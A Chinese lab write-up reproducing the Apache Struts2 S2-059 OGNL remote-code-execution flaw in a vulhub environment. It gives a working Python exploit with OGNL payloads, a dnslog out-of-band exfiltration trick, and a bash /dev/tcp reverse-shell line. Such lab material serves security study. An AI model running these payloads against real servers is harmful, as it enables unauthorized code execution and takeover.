s2-059
Struts2
介绍
是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2
作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
st2-059介绍
2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2
使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。
漏洞复现
vulunmb拉环境
vulhub/
Struts2
/s2-059
docker-compose up -d //启动漏洞环境
EXP地址:https://vulhub.org/#/environments/
Struts2
/s2-059/
官网给的exp是没有回显的
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
可以进行修改 修改为ping xxx.dnslog.cn 这个可以直接执行
坑点 由于是java的需要进行编码 将其名带外输出
whoami
.koeep8.dnslog.cn
在线编码:http://www.jackson-t.ca/runtime-exec-payloads.html
攻击测试
反弹shell
bash -i >& /dev/tcp/Your ip/Your port 0>&1